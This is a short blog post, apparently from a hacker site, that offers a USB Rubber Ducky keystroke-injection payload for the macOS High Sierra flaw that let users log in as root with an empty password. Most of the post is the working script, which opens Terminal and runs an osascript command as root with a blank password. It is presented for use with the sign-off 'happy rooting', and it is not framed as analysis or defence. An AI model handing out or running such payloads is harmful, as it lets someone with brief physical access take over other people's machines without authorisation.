in apple root high sierra usb rubber ducky payload trust your technolust ~ read.

USB Rubber Ducky Payload - Root for all

In light of Apples recent monumental screwup where they made it possible to login as root with no  password, here's the rubber ducky payload for it, happy rooting

REM Author: Liam Somerville
REM Title: OSX High Seria Root for all
REM This payload will open terminal, take the steps needed to exploit High Serria root login vulnnerablity
REM Trust Your Technolust
DELAY 1000
GUI SPACE
STRING terminal
DELAY 500
ENTER
DELAY 4000
STRING osascript -e 'do shell script "id" with administrator privileges user name "root" password ""'
DELAY 500
ENTER